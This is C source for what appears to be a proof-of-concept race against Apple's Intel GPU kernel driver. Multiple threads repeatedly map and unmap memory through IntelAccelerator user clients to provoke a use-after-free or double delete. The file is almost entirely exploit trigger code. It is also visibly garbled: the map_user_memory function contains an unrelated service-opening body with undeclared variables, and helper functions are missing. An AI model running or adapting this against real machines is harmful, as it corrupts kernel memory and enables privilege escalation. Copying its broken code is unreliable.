uint64_t map_user_memory(mach_port_t conn) {
kern_return_t err;
void* mem = malloc(0x20000);
// make sure that the address we pass is page-aligned:
mem = (void*) ((((uint64_t)mem)+0x1000)&~0xfff);
printf("trying to map user pointer: %p\n", mem);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
volatile mach_port_t gl_context = MACH_PORT_NULL;
#define N_HANDLES 40
void go(void* arg){
while (1) {
uint64_t handles[N_HANDLES] = {0};
for (int i = 0; i < N_HANDLES; i++) {
handles[i] = map_user_memory(gl_context);
}
for (int i = 0; i < N_HANDLES; i++) {
unmap_user_memory(gl_context, handles[i]);
}
}
}
int main(int argc, char** argv){
// get an IGAccelGLContext
gl_context = get_user_client("IntelAccelerator", 1);
printf("gl_context: %x\n", gl_context);
// get a IGAccelSharedUserClient
mach_port_t shared = get_user_client("IntelAccelerator", 6);
printf("shared: %x\n", shared);
// connect the gl_context to the shared UC so we can actually use it:
kern_return_t err = IOConnectAddClient(gl_context, shared);
if (err != KERN_SUCCESS){
printf("IOConnectAddClient error: %x\n", err);
return 0;
}
printf("added client to the shared UC\n");
#define N_THREADS 2
pthread_t threads[N_THREADS];
for (int i = 0; i < N_THREADS; i++) {
pthread_create(&threads[i], NULL, go, NULL);
}
pthread_join(threads[0], NULL);
return 0;
}
Apple intel gpu driver useafterfree/doubledelete due to bad locking